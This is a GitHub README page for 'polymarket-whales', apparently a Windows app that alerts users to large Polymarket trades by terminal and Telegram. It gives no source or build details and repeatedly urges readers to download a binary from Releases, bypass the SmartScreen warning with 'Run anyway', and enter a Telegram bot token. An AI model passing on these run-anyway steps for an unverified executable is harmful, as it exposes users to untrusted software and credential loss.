Skip to content

Barnytonic13/polymarket-whales

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🐋 polymarket-whales - Track whale trades in real time

Download from Releases

🚀 Getting Started

polymarket-whales helps you watch large Polymarket trades as they happen. It shows terminal alerts and can send Telegram messages when smart money moves.

Use it on Windows if you want a simple way to follow big market activity without checking the site all day.

💾 Download

  1. Open the Releases page
  2. Find the latest release
  3. Download the Windows file from that release
  4. Save it to a folder you can find again, such as Downloads or Desktop

If the release includes a ZIP file, open it and extract the files before you run the app.

🖥️ Windows Setup

  1. Open the folder where you saved the download
  2. If you see a ZIP file, right-click it and choose Extract All
  3. Open the extracted folder
  4. Double-click the app file to start it

If Windows asks for permission, choose Yes.

If SmartScreen appears, select More info and then Run anyway only if you trust the file from the release page you opened

🔔 What It Does

This app watches Polymarket for large trades and order book changes. It then sends alerts so you can react faster.

You can use it to:

  • Spot large buy or sell activity
  • Watch market movement in real time
  • Get alerts in the terminal
  • Send Telegram notifications
  • Follow markets where large traders are active
  • Keep an eye on changes in prediction markets

📦 What You Need

Use a Windows PC with:

  • Internet access
  • A recent version of Windows 10 or Windows 11
  • Enough free space to store the app files
  • Telegram if you want phone alerts

The app is meant for regular desktop use and does not need special hardware.

⚙️ First Run

When you open the app for the first time, it may ask for a few settings.

Common setup steps:

  1. Start the app
  2. Enter your market or alert settings if shown
  3. Turn on terminal alerts if you want alerts in the window
  4. Add your Telegram details if you want phone notifications
  5. Save the settings
  6. Leave the app open while you track markets

📲 Telegram Alerts

If you want alerts on your phone, connect Telegram in the app settings.

You may need:

  • A Telegram bot token
  • Your chat ID
  • The notification toggle turned on

After setup, the app can send a message when it detects whale activity.

🧭 How It Works

The app checks Polymarket activity and looks for large trades or unusual changes in the order book. When it finds something important, it raises an alert.

This can help you watch:

  • Markets with fast moves
  • Big position changes
  • Trading pressure on one side of a market
  • Active markets where large traders are present

📁 Typical Files

After download, you may see files like these:

  • The main app file
  • A settings file
  • A log file
  • A folder with extra data

Keep all files in the same folder. Do not move one file out on its own unless the app instructions say to do that.

🛠️ Troubleshooting

If the app does not open:

  1. Check that you extracted the ZIP file
  2. Run the app from the extracted folder
  3. Make sure Windows did not block the file
  4. Try running it again as the current user
  5. Download the latest release again if the file looks incomplete

If alerts do not appear:

  1. Check your internet connection
  2. Make sure the app is still running
  3. Confirm your Telegram settings
  4. Review any alert filters you set
  5. Restart the app

If Telegram messages do not arrive:

  1. Check the bot token
  2. Check the chat ID
  3. Make sure the bot can message your chat
  4. Test the Telegram setup again

🧪 Common Use

A simple way to use polymarket-whales:

  1. Open the app before you start tracking a market
  2. Pick the markets you care about
  3. Watch terminal alerts for large trades
  4. Keep Telegram on for phone alerts
  5. Leave it running during active trading hours

🔒 Privacy

The app is built to watch market data and send alerts you choose to enable. Keep your Telegram details private and store them only on your own device

📚 Useful Topics

This project relates to:

  • alerts
  • market data
  • order book tracking
  • Polymarket
  • prediction markets
  • whale tracking
  • on-chain analytics
  • crypto trading tools

🧩 Basic Flow

  1. Visit the Releases page
  2. Download the latest Windows file
  3. Extract it if needed
  4. Open the app
  5. Set your alerts
  6. Watch for whale trades
  7. Read terminal messages or Telegram alerts

🖱️ Download Again

If you need the file later, return to the Releases page and visit this page to download the latest version